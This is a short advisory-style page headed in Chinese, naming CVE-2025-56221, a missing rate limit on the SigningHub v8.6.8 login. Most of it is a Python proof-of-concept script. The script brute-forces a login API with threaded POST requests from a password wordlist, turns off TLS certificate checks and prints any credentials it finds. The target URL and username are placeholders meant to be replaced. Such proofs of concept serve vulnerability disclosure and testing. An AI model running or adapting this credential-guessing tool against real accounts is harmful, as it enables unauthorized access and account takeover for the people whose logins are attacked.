CVE-2025-56221：SigningHub登录机制缺少速率限制导致暴力破解漏洞

#!/usr/bin/env python3 """ CVE-2025-56221 - SigningHub v8.6.8 Brute Force Authentication Bypass PoC Description: Exploits lack of rate limiting in SigningHub login mechanism Author: Security Researcher """ import requests import sys import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-signinghub.com/api/login" # Replace with actual target USERNAME = "[email protected]" # Target username WORDLIST = ["password", "123456", "admin", "Password1", "Welcome1"] def attempt_login(password): """Attempt a single login with given password""" try: data = { "username": USERNAME, "password": password } response = requests.post(TARGET_URL, json=data, timeout=10, verify=False) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] SUCCESS! Username: {USERNAME} | Password: {password}") return (USERNAME, password) else: print(f"[-] Failed: {password}") return None except Exception as e: print(f"[!] Error with {password}: {e}") return None def brute_force(): """Execute brute force attack against SigningHub login""" print(f"[*] Starting brute force attack on {TARGET_URL}") print(f"[*] Target username: {USERNAME}") with ThreadPoolExecutor(max_workers=20) as executor: results = executor.map(attempt_login, WORDLIST) for result in results: if result: print(f"\n[!!!] Credentials found: {result}") return result return None if __name__ == "__main__": brute_force()